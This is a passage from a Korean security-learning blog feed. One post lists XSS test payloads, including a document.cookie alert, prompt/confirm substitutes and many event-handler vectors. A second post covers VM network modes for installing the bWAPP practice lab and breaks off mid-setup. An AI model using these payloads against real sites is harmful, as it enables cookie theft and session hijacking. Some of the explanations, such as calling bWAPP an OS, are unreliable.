&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_blob&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRCwGd/btsObt0LqUN/ZweUzKyplqGJY5tMFnB8sK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRCwGd/btsObt0LqUN/ZweUzKyplqGJY5tMFnB8sK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRCwGd/btsObt0LqUN/ZweUzKyplqGJY5tMFnB8sK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRCwGd%2FbtsObt0LqUN%2FZweUzKyplqGJY5tMFnB8sK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;255&quot; data-filename=&quot;edited_blob&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_blob&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;271&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S3920/btsOa9g9kjw/ksYo7TVuCZtonrPnwIz9f1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S3920/btsOa9g9kjw/ksYo7TVuCZtonrPnwIz9f1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S3920/btsOa9g9kjw/ksYo7TVuCZtonrPnwIz9f1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS3920%2FbtsOa9g9kjw%2FksYo7TVuCZtonrPnwIz9f1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;756&quot; height=&quot;271&quot; data-filename=&quot;edited_blob&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;271&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;alert 함수가 막혀있을 때 쓸 수 있는 것&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prompt&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beAnBd/btsOaoMT2aS/fJVNKg5rm5OVFl665Yb4Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beAnBd/btsOaoMT2aS/fJVNKg5rm5OVFl665Yb4Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beAnBd/btsOaoMT2aS/fJVNKg5rm5OVFl665Yb4Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeAnBd%2FbtsOaoMT2aS%2FfJVNKg5rm5OVFl665Yb4Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;900&quot; height=&quot;403&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/neHwA/btsOaHMfgmI/3jAskbikALlnOB8GSYdOf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/neHwA/btsOaHMfgmI/3jAskbikALlnOB8GSYdOf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/neHwA/btsOaHMfgmI/3jAskbikALlnOB8GSYdOf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FneHwA%2FbtsOaHMfgmI%2F3jAskbikALlnOB8GSYdOf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;318&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;confirm&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUbT58/btsOaNFqe8v/Rz0g3XGm4l74tU3rYeTAb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUbT58/btsOaNFqe8v/Rz0g3XGm4l74tU3rYeTAb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUbT58/btsOaNFqe8v/Rz0g3XGm4l74tU3rYeTAb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUbT58%2FbtsOaNFqe8v%2FRz0g3XGm4l74tU3rYeTAb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;403&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lghfp/btsOa5zhnUz/HmgxfKkF5YuHIB1HL0Erf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lghfp/btsOa5zhnUz/HmgxfKkF5YuHIB1HL0Erf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lghfp/btsOa5zhnUz/HmgxfKkF5YuHIB1HL0Erf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flghfp%2FbtsOa5zhnUz%2FHmgxfKkF5YuHIB1HL0Erf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;247&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 뒤로는 캡쳐하기 귀찮아서,, 해본것들 쭉 써놓을게여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;audio&amp;nbsp;src=x&amp;nbsp;href=x&amp;nbsp;onerror=alert(1)&amp;gt;&amp;lt;/audio&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;video&amp;nbsp;src=x&amp;nbsp;href=x&amp;nbsp;onerror=alert(1)&amp;gt;&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;image&amp;nbsp;src=x&amp;nbsp;href=x&amp;nbsp;onerror=alert(1)&amp;gt;&amp;lt;/image&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&amp;lt;object src=x href=x onerror=alert(1)&amp;gt;&amp;lt;/object&amp;gt;&lt;/s&gt;&amp;nbsp; -&amp;gt; 퇴화 태그&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;nbsp;src=x&amp;nbsp;href=x&amp;nbsp;onerror=alert(1)&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&amp;lt;title&amp;nbsp;onPropertyChange&amp;nbsp;title&amp;nbsp;onPropertyChange=alert(1)&amp;gt;&amp;lt;/title&amp;nbsp;onPropertyChange&amp;gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&amp;nbsp; -&amp;gt; onPropertyChange 태그는 IE 전용 이벤트!! 현대 브라우저에서는 지원 X&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;iframe onLoad=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;body&amp;nbsp;onload=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;body onMouseEnter=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;body onFocus=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&amp;nbsp; -&amp;gt; 얘는 잠깐 다른 창으로 이동했다가 다시 돌아오면 계속 알림창뜸;;;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;body onUnload=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #9d9d9d;&quot;&gt; -&amp;gt; 창이 로드되지 않을때 발생하는 태그,, 그니까 로드가 잘 되면 쓸데가 없당&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;svg onload=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&amp;lt;script onReadyStateChange=alert(1)&amp;gt;&amp;lt;/script&amp;gt;&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;ReadyState란? 요청을 보내는 클라이언트의 상태 &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;그럼 onReadyStateChange란? ReadyState가 변경될 때 실행할 함수를 정의&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;즉 상태 변동이 안되면 이벤트가 발생하지 않음 + 이것도 주로 IE 전용 태그,, 요새는 거의 무시됨&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;html&amp;nbsp;onMouseUp=alert(1)&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;-&amp;gt; 마우스로 뭐 클릭할때마다 창 뜸,,,,,,,,,,,,,,,,,,,,,,,,&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/5</guid>
      <comments>https://songtoy.tistory.com/5#entry5comment</comments>
      <pubDate>Sun, 15 Jun 2025 19:57:28 +0900</pubDate>
    </item>
    <item>
      <title>bwapp 설치하기</title>
      <link>https://songtoy.tistory.com/4</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;bwapp는 OS(Operation System)다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 &lt;b&gt;OS(운영체제)란&lt;/b&gt; 무엇일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 컴퓨터를 사용하기 위해 필요한 소프트웨어(컴퓨터시스템의 핵심 소프트웨어)로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 하드웨어와 응용프로그램 간의 상호작용을 관리하고 제어하는 역할을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영체제의 목적&lt;/b&gt;은 사용자와 하드웨어 사이의 인터페이스를 제공해 효율적으로 응용프로그램이 동작하도록 지원,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 자원을 효율적으로 관리하여 응용프로그램이 원활하게 동작할 수 있도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제의 코어부분을 커널(kernel)이라고 하는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 커널에 여러가지 기능(라이브러리, 시스템 프로그램 등)이 추가된 상태를 운영체제(OS)라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영체제의 종류&lt;/b&gt;에는 윈도우, 맥os, 리눅스, 유닉스 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 노트북에서는 이미 윈도우를 사용하고 있기 때문에 VM을 설치해서 거기에 bwapp를 깔아보려고 한다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 &lt;b&gt;VM(Virtual Machine)이란&lt;/b&gt; 뭘까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 컴퓨터 하나 더 가상으로 만든다고 생각하면 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실재하는 컴퓨터 상에 소프트웨어로 만들어낸 컴퓨터, 즉 물리적 컴퓨터의 디지털 버전이라 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VM으로 프로그램 및 운영체제를 실행하고, 데이터를 저장하고, 네트워크에 연결하는 등의 거의 모든 컴퓨팅 기능을 수행할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VM을 사용하는 이유는, 실제로 있는 컴퓨터 시스템을 여러명의 사용자가 동시에 사용할 수 있게 하기 위해서다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 컴퓨터를 여러명의 사용자가 동시에 사용할 수 있도록 여러대의 작은 컴퓨터로 분할하거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영 체제나 하드웨어 등의 구성을 달리하여 운영하고자 할 때 (&amp;lt;-지금 나의 경우!!) 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;VM에도 종류&lt;/b&gt;가 있다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;① Virtual Box&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Innotek에서 제작된 소프트웨어, 현재 오라클에서 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 지원 : 리눅스, OS X, 솔라리스, 윈도우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 32비트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 무료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;② Parallels&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Parallels에서 제작된 소프트웨어. Mac 사용자가 많이 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 유료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;③ VMware&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 가장 많이 알려져 있는 상용 소프트웨어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 가상머신을 다룰 수 있고, UI가 깔끔하며, 지원되는 외부 디바이스가 다양함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 속도가 느림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;④ QEMU&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Fabrice Bellard에서 제작된 소프트웨어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 32비트 이외의 기종을 위해 만들어짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⑤ Windows Virtual PC&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- microsoft에서 제작된 기능 제한 없는 소프트웨어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- UI는 단순하지만 필요한 기능 모두 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 여기서 VMware를 사용할거다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMware와 beebox를 설치하고~~&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;1122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zCaaJ/btsN1NrBaPV/ikbiXkJ29BI5UJgc4poVW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zCaaJ/btsN1NrBaPV/ikbiXkJ29BI5UJgc4poVW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zCaaJ/btsN1NrBaPV/ikbiXkJ29BI5UJgc4poVW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzCaaJ%2FbtsN1NrBaPV%2FikbiXkJ29BI5UJgc4poVW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1913&quot; height=&quot;1122&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;1122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 설정을 할건데용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지는 다 안건드려도 된다고하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Network Adapter만 본인이 원하는걸로 세팅!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 기본적으로 브릿지모드가 되어있었당 (컴퓨터마다 처음 기본 설정이 다를 수 있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 브릿지모드 : 가상머신이 호스트머신의 네트워크 어댑터와 물리적으로 연결된 것처럼 동작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독립적인 IP주소 할당, 동일 서브넷에 속해있어 다른 네트워크 장치들과 직접 통신할 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 호스트와 동일한 네트워크에서 외부 네트워크 리소스와 직접 상호작용해야 하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. NAT모드 : 가상머신이 외부 네트워크와 통신할 수 있도록 호스트의 IP 주소를 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도의 IP주소를 할당할 필요 없이 인터넷에 접속할 수 있고, 호스트의 네트워크 설정을 건드리지 않아 설정이 간편함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부네트워크에서 가상머신에 직접 접근할 수 없으므로 보안성이 향상됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 외부에서 접근할 필요 없이 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;간단한 인터넷 접속만 필요한 경우&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;3. 호스트전용모드 : 가상머신이 호스트와만 통신할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;외부 네트워크와 완전히 격리되어 있어 안전한 테스트 환경을 제공&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&amp;gt; 외부 네트워크와 분리된 개발 및 테스트환경을 구축해야하는 경우&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;4. 커스텀모드 : 사용자의 필요에 따라 가상네트워크를 설정할 수 있는 모드&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&amp;gt; 복잡한 네트워크 설정이 필요한 고급 사용자나 특정 요구사항이 있는 경우&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;there4; 저는 NAT모드로 할게용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다 설치하고 bwapp-start를 눌렀는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;1056&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4j1gS/btsN2RzO7XR/7G129kkjoBxw3JJcioK321/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4j1gS/btsN2RzO7XR/7G129kkjoBxw3JJcioK321/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4j1gS/btsN2RzO7XR/7G129kkjoBxw3JJcioK321/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4j1gS%2FbtsN2RzO7XR%2F7G129kkjoBxw3JJcioK321%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;777&quot; height=&quot;1056&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;1056&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 123456789를 눌렀을 뿐인데 요상한 문자가 찍힌당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키보드 레이아웃을 해줘야한다!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1452&quot; data-origin-height=&quot;988&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCMvg5/btsN2P9PjTN/FFqFMhQCIBv3NLseJfQgh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCMvg5/btsN2P9PjTN/FFqFMhQCIBv3NLseJfQgh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCMvg5/btsN2P9PjTN/FFqFMhQCIBv3NLseJfQgh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCMvg5%2FbtsN2P9PjTN%2FFFqFMhQCIBv3NLseJfQgh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1452&quot; height=&quot;988&quot; data-origin-width=&quot;1452&quot; data-origin-height=&quot;988&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하구 다시 창을 열어서 입력해보면&lt;/p&gt;
